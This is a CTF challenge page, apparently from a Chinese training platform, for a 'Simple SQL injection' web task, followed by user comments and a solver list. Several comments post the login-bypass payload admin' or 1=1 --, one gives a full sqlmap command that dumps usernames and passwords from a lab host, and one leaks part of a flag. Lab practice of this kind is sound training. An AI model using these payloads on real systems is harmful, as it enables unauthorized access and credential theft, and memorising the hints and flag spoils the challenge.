Simple SQL injectionWEB 未解决

分数: 10 金币: 2
题目作者: qingshen
一　　血: lzq2000
一血奖励: 2金币
解　　决: 1607
提　　示:
描　　述:

flag{}

...
登录回复
评论
xiaoroubao 11天前
举报

我靠，通过sqlmap找到数据库里的字段，我看密码还以为是加密过的，在哪里解密半个小时，原来密码也是明文的

回复 0
WWls= 24天前
举报

fuzz爆破直接秒了

回复 0
i11us0ry 1月前
举报

以为是注入 没想到是万能密码

回复 0
苦瓜king 1月前
举报

admin' or 1=1 --

回复 0
下辈子一定学会 1月前
举报

用户名admin' or 1=1 -- 密码随便输就可以进去了，万能密码绕过登录验证

回复 2
azerl7 1月前
举报

最好的密码就是这样，让别人猜到底是不是密码，你猜我这个是屏蔽了还是我写的，****

回复 0
cisp7 1月前
举报

Flag{}4f8b65015

回复 0
b2026tf 2月前
举报

执行命令：sqlmap.py -u http://103.236.73.121:15822/article?id=1 -T users -C username,password --dump

回复 0
weiwen 2月前
举报

admin' or 1=1 -- 万能密码就秒了

回复 1
idle 3月前
举报

我就说豆包咋不好使，豆包也被迷惑了

回复 0

WriteUp

image
lzq2000

2 金币

立即查看

评分(7)

解题动态

moonSTRUCK 攻破了该题 4小时前
zhzuo 攻破了该题 16小时前
Cinderella 攻破了该题 21小时前
onion_316 攻破了该题 21小时前
qq1261894969 攻破了该题 1天前
无言独望西楼月 攻破了该题 1天前
2022215844 攻破了该题 1天前
千城不是城 攻破了该题 1天前
Sylvia 攻破了该题 1天前
18144280602 攻破了该题 1天前
xexing 攻破了该题 1天前
18368865298 攻破了该题 1天前
young186 攻破了该题 1天前
bugku_yu 攻破了该题 1天前
zeeker 攻破了该题 1天前
z231288 攻破了该题 1天前
rhcrhc 攻破了该题 2天前
TryShallow 攻破了该题 2天前
18943147678 攻破了该题 2天前
EGG995 攻破了该题 2天前
问题反馈